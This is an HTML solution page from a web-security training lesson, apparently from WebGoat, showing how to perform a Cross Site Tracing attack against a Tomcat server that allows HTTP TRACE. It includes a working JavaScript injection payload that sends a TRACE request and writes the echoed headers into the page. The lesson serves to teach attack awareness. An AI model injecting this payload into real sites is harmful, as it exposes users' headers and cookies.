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<div class=Section1>
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Lesson
Plan Title:</span></b><span style='font-family:"Arial","sans-serif"'> How to
Perform Cross Site Tracing (XST) Attacks <o:p></o:p></span></p>
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></b></p>
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Concept /
Topic To Teach:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><!-- Start Instructions -->It
is always a good practice to scrub all input, especially those inputs that will
later be used as parameters to OS commands, scripts, and database queries. It
is particularly important for content that will be permanently stored somewhere
in the application. Users should not be able to create message content that
could cause another user to load an undesireable page or undesireable content
when the user's message is retrieved. <o:p></o:p></span></p>
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></b></p>
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>General
Goal(s):</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Tomcat is
configured to support the HTTP TRACE command. Your goal is to perform a Cross
Site Tracing (XST) attack.<o:p></o:p></span></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></p>
<h2><span style='color:windowtext'>Solution:<o:p></o:p></span></h2>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>You need to
introduce a cross site trace attack. This can be realized by embedding the
following script in the three digit access code.<o:p></o:p></span></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>&lt;script
type=&quot;text/javascript&quot;&gt;if ( navigator.appName.indexOf(&quot;Microsoft&quot;)
!=-1) {var xmlHttp = new
ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);xmlHttp.open(&quot;TRACE&quot;,
&quot;./&quot;, false); xmlHttp.send();str1=xmlHttp.responseText; while
(str1.indexOf(&quot;\n&quot;) &gt; -1) str1 = str1.replace(&quot;\n&quot;,&quot;&lt;br&gt;&quot;);
document.write(str1);}&lt;/script&gt;<o:p></o:p></span></p>
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p>&nbsp;</o:p></span></p>
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<v:f eqn="prod @3 21600 pixelHeight"/>
<v:f eqn="sum @0 0 1"/>
<v:f eqn="prod @6 1 2"/>
<v:f eqn="prod @7 21600 pixelWidth"/>
<v:f eqn="sum @8 21600 0"/>
<v:f eqn="prod @7 21600 pixelHeight"/>
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<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
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<span style='mso-element:field-separator'></span><![endif]--><span
style='mso-no-proof:yes'>1</span><!--[if supportFields]><span style='mso-element:
field-end'></span><![endif]--> Lesson 15<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
<p class=MsoNormal><o:p>&nbsp;</o:p></p>
</div>
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<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
Solution by Erwin Geirnaert
</td>
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
</tr>
</table>
</body>
</html>